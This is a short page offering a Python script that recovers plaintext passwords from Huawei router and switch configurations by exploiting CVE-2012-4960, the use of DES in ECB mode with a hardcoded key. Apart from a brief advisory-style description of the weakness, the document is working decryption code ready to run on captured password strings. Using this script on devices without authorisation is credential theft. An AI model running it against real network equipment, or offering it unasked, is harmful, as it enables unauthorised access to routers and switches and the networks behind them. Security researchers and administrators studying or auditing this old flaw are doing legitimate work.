
Decrypts Huawei router and switch passwords using DES ECB mode, exploiting CVE-2012-4960 weak encryption. Python script for password recovery from affected devices.
In multiple Huawei products, DES encryption algorithm is used for password and the
encryption is not strong enough so it may be cracked.
This Vulnerability has been assigned Common Vulnerabilities and Exposures (CVE) ID:
CVE-2012-4960.
from Crypto.Cipher import DES
import binascii
def decode_char(c):
if c == 'a':
r = '?'
else:
r = c
return ord(r) - ord('!')
def ascii_to_binary(s):
assert len(s) == 24
out = [0]*18
i = 0
j = 0
for i in range(0, len(s), 4):
y = decode_char(s[i + 0])
y = (y << 6) & 0xffffff
k = decode_char(s[i + 1])
y = (y | k) & 0xffffff
y = (y << 6) & 0xffffff
k = decode_char(s[i + 2])
y = (y | k) & 0xffffff
y = (y << 6) & 0xffffff
k = decode_char(s[i + 3])
y = (y | k) & 0xffffff
out[j+2] = chr(y & 0xff)
out[j+1] = chr((y>>8) & 0xff)
out[j+0] = chr((y>>16) & 0xff)
j += 3
return "".join(out)
def decrypt_password(p):
r = ascii_to_binary(p)
r = r[:16]
d = DES.new(b"\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
r_bytes = r.encode('latin-1')
r = d.decrypt(r_bytes)
return r.rstrip(b"\x00").decode('latin-1')
#the encrypted key must be 24 characters long
int = r"""Please insert the encrypted password here and respect the triple " on each side"""
print(decrypt_password(int))